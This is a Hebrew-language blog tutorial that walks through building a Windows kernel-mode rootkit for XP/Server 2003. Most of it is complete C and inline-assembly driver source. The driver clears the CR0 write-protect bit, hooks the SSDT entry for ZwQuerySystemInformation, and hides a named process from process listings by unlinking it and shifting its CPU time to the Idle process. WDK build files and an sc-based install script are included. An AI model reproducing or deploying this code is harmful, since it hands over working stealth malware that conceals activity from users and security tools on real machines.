יום חמישי, 14 ביוני 2012

Kernel Mode RootKit Guide


מלחמת סייבר בפתח ולאחרונה התגלו וירוסים מסוג חדש שלא נראו עד כה, אחד מהם הוא Stuxnet שנחשף באיראן וגרם לבעיות בכור האטומי ואח"כ Flame שהוכרז לוירוס הריגול המשוכלל ביותר שנמצא, הוירוסים מנצלים חולשות אבטחה על מנת לקבל הרשאות גבוהות, סורקים מחשבים אחרים ומנסים להשתכפל , מחביאים את עצמם, משלבים את עצמם בקוד פיתוח וכו', מי בדיוק עומד מאחריהם זה לא ממש ברור אבל מה שבטוח כללי המשחק השתנו.

במאמר זה נממש מנגנון הסואה על מנת להסתיר Process מעיני המשתמש בעזרת  KMDF - Kernel Mode Driver Foundation, כלומר הכתיבה שלנו תתמקד ב Kernel Space של מערכת ההפעלה יש דברים שאפשר לעשות רק שם.

למה דווקא ב Kernel?
זו לא הפעם הראשונה בה אנו נפגשים עם RootKit , ראינו כיצד לממש RootKit ב Manage Code וכך להשפיע על תוכניות שמשתמשות ב FrameWork של .Net, אבל לא כולם משתמשים ב .Net אבל כולם בטוח משתמשים ב Kernel לכן זו נקודה חשובה למחשבה, עוד נקודה חשובה, במרחב של ה User העבודה היא עם כתובות וירטואלית בזמן שב Kernel העבודה עם כתובות פיזיות ווירטואלית, נעבוד במצב Ring0  שבו אין מגבלות אבטחה בשביל שנוכל לשנות אוגרים (Register) וטבלאות פנימיות של המערכת.


הודעה חשובה!
התהליך שאנחנו הולכים לממש פה הוא תהליך מלוכלך ומסוכן שעלול לפגוע במערכת ההפעלה, ואיני לוקח אחריות על נזק שנגרם בעקבות השימוש או אופי השימוש, המאמר הזה מסביר את הרעיון ולא מעבר של RootKit וכיצד לממש אותו בסביבת ה Kernel של מערכת Windows, אם אתם בכל זאת רוצים לממש אותו מומלץ להשתמש במכונה וירטואלית.
הקוד נוסה על מערכת Windows Xp / Server 2003.
נקודת התחלה:
בגדול אנחנו הולכים לבנות לנו Driver קטן שיותקן ל Kernel של ה Windows לכן אנחנו חייבים את ה Windows Driver Kit של Microsoft , זו סביבה שדרכה ניתן לכתוב Drivers ל Windows, אל תצפו ליותר מידי , לא מדובר על סביבה כמו Visual Studio (למרות שאפשר לחבר בניהם אבל זה לא מומלץ לפחות לא בגרסה 7600) יותר תחשבו על כיוון ה NotePad,  כמובן שמגיעים כלי Debug כמו ה KD - Kernel Debugger אבל אותם נשמור למאמרים אחרים, בגלל שאנחנו עובדים עם ה Kernel תשכחו מחלונות השגיאה הרגילים ותתרגלו ל BSOD - Blue Screen Of Death הותיק של Windows (למי שלא נתקל בו שיפסיק לקרוא עכשיו!), לכן אני חוזר שוב רצוי לעבוד על מכונה וירטואלית.

תתארגנו יוצאים לדוג:
לדוג (Hooking) הוא אחד המנגנונים המרכזיים ב RootKit, בעברית פשוטה אנחנו הולכים ל"חרטט" את המערכת שלנו, לא נתפוס בורי או נסיכת הנילוס אלא טבלה מאוד חשובה שמכילה מידע חיוני עבור המערכת ההפעלה שלנו, הטבלה נקראת SSDT או בשמה המלא System Service Dispatch Table , מה כלכך חשוב בטבלה הזאת, אתם שואלים? היא מכילה את כל הכתובות עבור ה System Calls שהן פונקציות שנתנות שירותים לתוכניות בעולם של User, החכה שלנו היא חולשה בקובץ ntoskrnl.exe שחושף Structure שמכיל בתוכו מצביע (Pointer) עבור טבלת ה SSDT שמכילה את כל הכתובות עבור הפונקציות ובצורה זו ניתן להחליף את הפונקציות של המערכת בפונקציות שלנו.





אבל הדרך אל הדג לא פשוטה, הטבלה נעולה לכתיבה לכן חשוב להשתחרר מהמגבלה הזאת בעזרת שינוי האוגר (Register)  בשם CR0 - Control register של מעבדי אינטל (כבר אמרתי שאנחנו ב Kernel?) מכיל בתוכו  BIT להרשאות כתיבה למעבד לאיזורים המוגדרים כ Read Only (מצטער חברים, אסמבלי).


void enableWP_CR0()
{
__asm
{
//save EBX
PUSH EBX
//put CR0 value inside Ebx
MOV EBX,CR0
//enable wp bit
OR EBX,0x00010000
// update CR0 with EBX value
MOV CR0,EBX
POP EBX
}
return;
}


void disableWP_CR0()
{
__asm
{
//save EBX
PUSH EBX
//put CR0 value inside Ebx
MOV EBX,CR0
//enable wp bit
AND EBX,0xFFFEFFFF
// update CR0 with EBX value
MOV CR0,EBX
POP EBX

}
return;
}


ZwQuerySystemInformation
זאת הפונקציה שאותה אנחנו הולכים לחרטט ולהכניס את ה RootKit לפעולה, אז אחרי שקיבלנו מצביע ל SSDT צריך לחפש את הפונקציה בטבלה ולהחליף את הכתובת שלה לפונקציה החדשה שלנו,  כאשר מתבצעת בקשה למידע על המערכת מה user (נניח שה Task Manager רוצה מידע על ה Processes) מופעלת הפונקציה ומחזירה את המידע על בסיס Enum שמסווג את סוגי הבקשות ועל פי הסוג משתנה האובייקט החוזר בפונקציה.

SystemBasicInformation 0
SystemPerformanceInformation  2
SystemTimeOfDayInformation 3
SystemProcessInformation 5
SystemProcessorPerformanceInformation 8
SystemInterruptInformation 23
SystemExceptionInformation 33
SystemRegistryQuoataInformation 37
SystemLookasideInformation 45


השורות המסומנות באדום מתארות את המצבים בהם אנו רוצים להתערב בבקשה שמגיעה מה user, הבקשה SystemProcessInformation מחזירה לנו מערך אובייקטים שמכיל את כל המידע עבור ה Processes , בעצם מדובר על רשימה מקושרת שמצביעה לאובייקט הבא עד שהוא אפס ( NextEntryOffset) , אנחנו נחפש את ה Process המבוקש עד שנמצא אותו ונשנה את ה NextEntryOffset ל Process שהיה לפניו שיצביע לזה שאחריו.









//process information structure
typedef struct _SYSTEM_PROCESS_INFO
{
//the next entry address
ULONG NextEntryOffset;
//number of threads used in process
ULONG NumberOfThreads;

ULONG Reserved[6];
        //process timers
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;

       UNICODE_STRING ProcessName;
KPRIORITY BasePriortiy;
HANDLE UniqueProcessId;

PVOID Reserved3;
//total number of handles used by this process
ULONG HandleCount;
BYTE Reserved4[4];
PVOID Reserved5[11];
//maximum number of bytes used by this process
SIZE_T PeakPagefileUsage;
//number of memory page allocated for this process
SIZE_T PrivatePageCount;
LARGE_INTEGER Reserved6[6];

}SYSTEM_PROCESS_INFO, *PSYSTEM_PROCESS_INFO;

הבקשה הבא SystemProcessorInformation מחזירה מבנה של זמני ה Cpu  שמאפשר לנו להסתיר את ה RootKit , ברגע שנגלה את ה Process שאנחנו רוצים להסתיר, נשמור את נתוני הזמנים של המעבד עבור ה Process בפרמטר ונוסיף אותו לשעון ה Idle כאשר תגיע בקשה.

//array of element for each processor
//handle system idles time
typedef struct _SYSTEM_PROCESSOR_PERFORMANCE_INFO
{
LARGE_INTEGER IdleTime;
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER Reserved1[2];
ULONG Reserved2;
}SYSTEM_PROCESSOR_PERFORMANCE_INFO,*PSYSTEM_PROCESSOR_PERFORMANCE_INFO;



קוד:
זהו הגענו לרגע האמת, השתדלתי לתאר את הקוד כמה שאפשר, למידע נוסף אני ממליץ מאוד על הספר The Rookit Arsenal ספר מעולה בנושא , לאחר ההתקנה של ה WDK ניצור תיקייה חדשה בתיקיית src  וניצור קובץ חדש בעזרת ה notepad , נעתיק את הקוד ונשמור אותו בסיומת c.

//copy and paste to your new folder inside the src directory
#include <ntddk.h>

//basic driver datatype
typedef unsigned long DWORD;
typedef unsigned short WORD;
typedef unsigned char BYTE;


#pragma pack(1)
//the structure of ServiceDescriptorEntry exported
//symbol of KeServiceDescriptorTable 
typedef struct ServiceDescriptorEntry
{
//address to System Service Dispatch Table
DWORD *KiServiceTable;
DWORD *CounterBaseTable;
DWORD nSystemCalls;
DWORD *KiArgumentTable;
} SDE,*PSDE;
#pragma pack()

//symbol exported from ntoskrnl.dll
//exported symbol from ntoskrnl.exe 
__declspec(dllimport) SDE KeServiceDescriptorTable;
PVOID *systemCallTable;

NTSYSAPI
NTSTATUS
//the orginal system call prototype
NTAPI ZwQuerySystemInformation
(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength
);

//save the address of the existing system call
typedef NTSTATUS (*ZwQuerySystemInformationPtr)
(
ULONG SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);

//holding the original call
ZwQuerySystemInformationPtr oldZwQuerySystemInformation;

//process information structure
typedef struct _SYSTEM_PROCESS_INFO
{
//the next entry address
ULONG NextEntryOffset;
//number of threads used in process
ULONG NumberOfThreads;

ULONG Reserved[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
KPRIORITY BasePriortiy;

HANDLE UniqueProcessId;
PVOID Reserved3;
//total number of handles used by this process
ULONG HandleCount;
BYTE Reserved4[4];
PVOID Reserved5[11];
//maximum number of bytes used by this process
SIZE_T PeakPagefileUsage;
//number of memory page allocated for this process
SIZE_T PrivatePageCount;
LARGE_INTEGER Reserved6[6];

}SYSTEM_PROCESS_INFO, *PSYSTEM_PROCESS_INFO;

//array of element for each processor
//handle system idles time
typedef struct _SYSTEM_PROCESSOR_PERFORMANCE_INFO
{
LARGE_INTEGER IdleTime;
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER Reserved1[2];
ULONG Reserved2;
}SYSTEM_PROCESSOR_PERFORMANCE_INFO,*PSYSTEM_PROCESSOR_PERFORMANCE_INFO;


// * [part of system_information_class enum]
//#define SystemBasicInformation 0
//#define SystemPerformanceInformation  2
//#define SystemTimeOfDayInformation 3
#define SystemProcessInformation 5
#define SystemProcessorPerformanceInformation 8
//#define SystemInterruptInformation 23
//#define SystemExceptionInformation 33
//#define SystemRegistryQuoataInformation 37
//#define SystemLookasideInformation 45

LARGE_INTEGER timeHiddenUser;
LARGE_INTEGER timeHiddenKernel;

//implement the hook routine
NTSTATUS newZwQuerySystemInformation
(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength)
{
NTSTATUS ntStatus;
PSYSTEM_PROCESS_INFO cSPI;
PSYSTEM_PROCESS_INFO pSPI;

//begin to call to orginal prototype for checking
//if ntStatus no equal NT_SUCESS quit
ntStatus = ((ZwQuerySystemInformationPtr)(oldZwQuerySystemInformation))
(
SystemInformationClass,
SystemInformation,
SystemInformationLength,
ReturnLength
);

if(!NT_SUCCESS(ntStatus)){ return (ntStatus);}

//check SystemInformationClass equal to SystemProcessorPerformanceInformation(8)
//if the query is SystemProcessorPerformanceInformation
//we need to update the system idle time
if(SystemInformationClass == SystemProcessorPerformanceInformation)
{
PSYSTEM_PROCESSOR_PERFORMANCE_INFO timeObject;
LONGLONG extraTime;

timeObject = (PSYSTEM_PROCESSOR_PERFORMANCE_INFO)SystemInformation;
extraTime = timeHiddenUser.QuadPart + timeHiddenKernel.QuadPart;
(*timeObject).IdleTime.QuadPart = (*timeObject).IdleTime.QuadPart + extraTime;
}

//checking if the call not equal to SystemProcessInformation, and exit
if(SystemInformationClass != SystemProcessInformation){ return (ntStatus);}

//getting the SystemInformation
cSPI = (PSYSTEM_PROCESS_INFO)SystemInformation;
pSPI = NULL;

while(cSPI != NULL)
{
        //if process name is null this is the
//Idle Process we add the hidden process Kernel/User times
if((*cSPI).ProcessName.Buffer == NULL)
{
(*cSPI).UserTime.QuadPart = (*cSPI).UserTime.QuadPart + timeHiddenUser.QuadPart;
(*cSPI).KernelTime.QuadPart = (*cSPI).KernelTime.QuadPart + timeHiddenKernel.QuadPart;

timeHiddenUser.QuadPart = 0;
timeHiddenKernel.QuadPart = 0;

}

else
{
if(memcmp((*cSPI).ProcessName.Buffer,L"cmd.exe",10)==0)
{
//get the time of the hidden process and save it
timeHiddenUser.QuadPart = timeHiddenUser.QuadPart + (*cSPI).UserTime.QuadPart;
timeHiddenKernel.QuadPart = timeHiddenKernel.QuadPart +  (*cSPI).KernelTime.QuadPart;


if(pSPI != NULL)
{
if((*cSPI).NextEntryOffset == 0)
{
//this is the last element in the array
(*pSPI).NextEntryOffset = 0;
}
else
{
//rewirte the previous SPI
//entryoffset to point to the next
//element after the hidden process
(*pSPI).NextEntryOffset = (*pSPI).NextEntryOffset + (*cSPI).NextEntryOffset;
}
}
else
{
                                   //if the first element in the array
//that we need to hidden increase the pointer
//to the next element
(BYTE *)SystemInformation = ((BYTE*)SystemInformation) + (*cSPI).NextEntryOffset;

}
}
}

//set the current entry to hold in the 
//previous entry
pSPI = cSPI;

//move to the next element in the array
//setting null if is the last item in the array
if((*cSPI).NextEntryOffset != 0)
{
(BYTE *)cSPI = ((BYTE *)cSPI) + (*cSPI).NextEntryOffset;
}
else{cSPI = NULL;}

}


}


//return the system call index number 
//from the SSDT table
DWORD getSSDTIndex(BYTE * address)
{
BYTE* addressOfIndex;
DWORD  indexValue;

addressOfIndex = address +1;
indexValue = *((PULONG)addressOfIndex);
return (indexValue);
}

//make the hook to SSDT sending the orignal call address
//sending the hook call pointer export the system call number
//update the SSDT function address by the index
//in the table and change the function address 
//to the new hook function
BYTE * hookSSDT(BYTE* apiCall,BYTE* oldAddr, DWORD* callTable)
{
PLONG target;
DWORD indexValue;

//get system call number by apiCall pointer
indexValue = getSSDTIndex(apiCall);
target = (PLONG) &(callTable[indexValue]);
//sets a 32-bit variable to the specified value as an atomic operation.
//send pointer to the value and new value
//lock free algorithms, exclusive access
return ((BYTE*)InterlockedExchange(target,(LONG)oldAddr));
}

//unhooking the SSDT sending the orignal call address
//sending the orignal call pointer export the system call number
//update the SSDT function address by the index
//in the table and change the function address 
//to the orignal call function
void unHookSSDT(BYTE* apiCall,BYTE* newAddr, DWORD* callTable)
{
PLONG target;
DWORD indexValue;

//send ZwQuerySystemInformation , as the system call number
indexValue = getSSDTIndex(apiCall);
target = (PLONG) &(callTable[indexValue]);
//sets a 32-bit variable to the specified value as an atomic operation.
//send pointer to the value and new value lock free algorithms, exclusive access
InterlockedExchange(target,(LONG)newAddr);
}

//enable CPU to access read only pages
void enableWP_CR0()
{
__asm
{
PUSH EBX //save EBX
MOV EBX,CR0 //put CR0 value inside eax
OR EBX,0x00010000 //enable wp bit
MOV CR0,EBX // update CR0 with EBX value
POP EBX
}
return;
}

//disable CPU to access read only pages
void disableWP_CR0()
{
__asm
{
PUSH EBX //save EBX
MOV EBX,CR0 //put CR0 value inside eax
AND EBX,0xFFFEFFFF //Disable wp bit
MOV CR0,EBX // update CR0 with EBX value
POP EBX

}
return;
}


//unload the hook and return to normal
//enable write protected to SSDT
VOID Unload(IN PDRIVER_OBJECT DriverObject)
{
unHookSSDT
(
(BYTE*)ZwQuerySystemInformation,
(BYTE*)oldZwQuerySystemInformation,
(DWORD*)systemCallTable
);

enableWP_CR0();

return;
}

//the main driver entry
NTSTATUS DriverEntry
(
IN PDRIVER_OBJECT pDriverObject,
IN PUNICODE_STRING theRegisteryPath
)
{
    //set DriverUnload function pointer
(*pDriverObject).DriverUnload = Unload;

//disable the write protected of SSDT
disableWP_CR0();

//getting the SSDT address
systemCallTable = (BYTE*)KeServiceDescriptorTable.KiServiceTable;

//hooking the SSDT send the systemCallTable
//(holding the SSDT address)
oldZwQuerySystemInformation = (ZwQuerySystemInformationPtr)hookSSDT
(
        //the address of the original call
(BYTE*)ZwQuerySystemInformation,
//the address of the original call address
(BYTE*)newZwQuerySystemInformation,
//the SSDT table return from the export symbol
//KeServiceDescriptorTable.KiServiceTable
(DWORD*)systemCallTable
);

return STATUS_SUCCESS;
}


לאחר Build בעזרת ה WDK נוצרה לנו תיקיית I386 שבתוכה יש את הקובץ הבינארי בסיומת sys שאותו נתקין בעזרת קובץ אצווה (Batch File), ניצור קובץ חדש ב Notepad ,נרשום בו את השורות הבאות ונשמור אותו בסיומת bat:

sc create mydriver type= filesys binPath= C:\WinDDK\7600.16385.1\src\MDL3\i386\srv3.sys
sc start mydriver
pause
sc stop mydriver
sc delete mydriver
pause

למי שלא מכיר את סביבת ה WDK לאחר ההתקנה יש ליצור תיקייה חדשה בתיקיית src וליצור 2 קבצים ללא סיומת הראשון הוא source שבו נגדיר את קובץ שאליו העתקנו את הקוד של ה Rootkit לדוגמה:

TARGETNAME=srv3
TARGETPATH=.
TARGETTYPE=DRIVER
SOURCES=kmd.c

INCLUDES=.
MSC_WARNING_LEVEL=/W0

הקובץ השני נקרא Makefile שהוא קובץ שכל  Driver בסביבת WDK צריך לירוש, נעתיק אליו את השורה ונשמור אותו:

!INCLUDE $(NTMAKEENV)\makefile.def

סיכום:
אין ספק ש Rootkit הוא אחד הדברים המפחידים בתחום אבטחת המידע, היכולת להחזיר מידע כוזב למשתמש עלולה להביא לסכנת חיים ממשית ובעתיד נראה יותר ויותר Rootkit מתוחכמים , אין ספק שבניית Rootkit הוא עסק מורכב מאוד בסביבת ה Kernel וצריך לבצע מחקר רציני בהנדסה לאחור על מנת למצוא את החולשה המתאימה עבור ה Rootkit , אבל אל תשכחו שמול ה RootKit עומד אנטי וירוס וגם הוא מסתובב לו ב Kernel בשביל לחפש דברים מהסוג הזה.

קצת מפחיד לא?

אין תגובות:

הוסף רשומת תגובה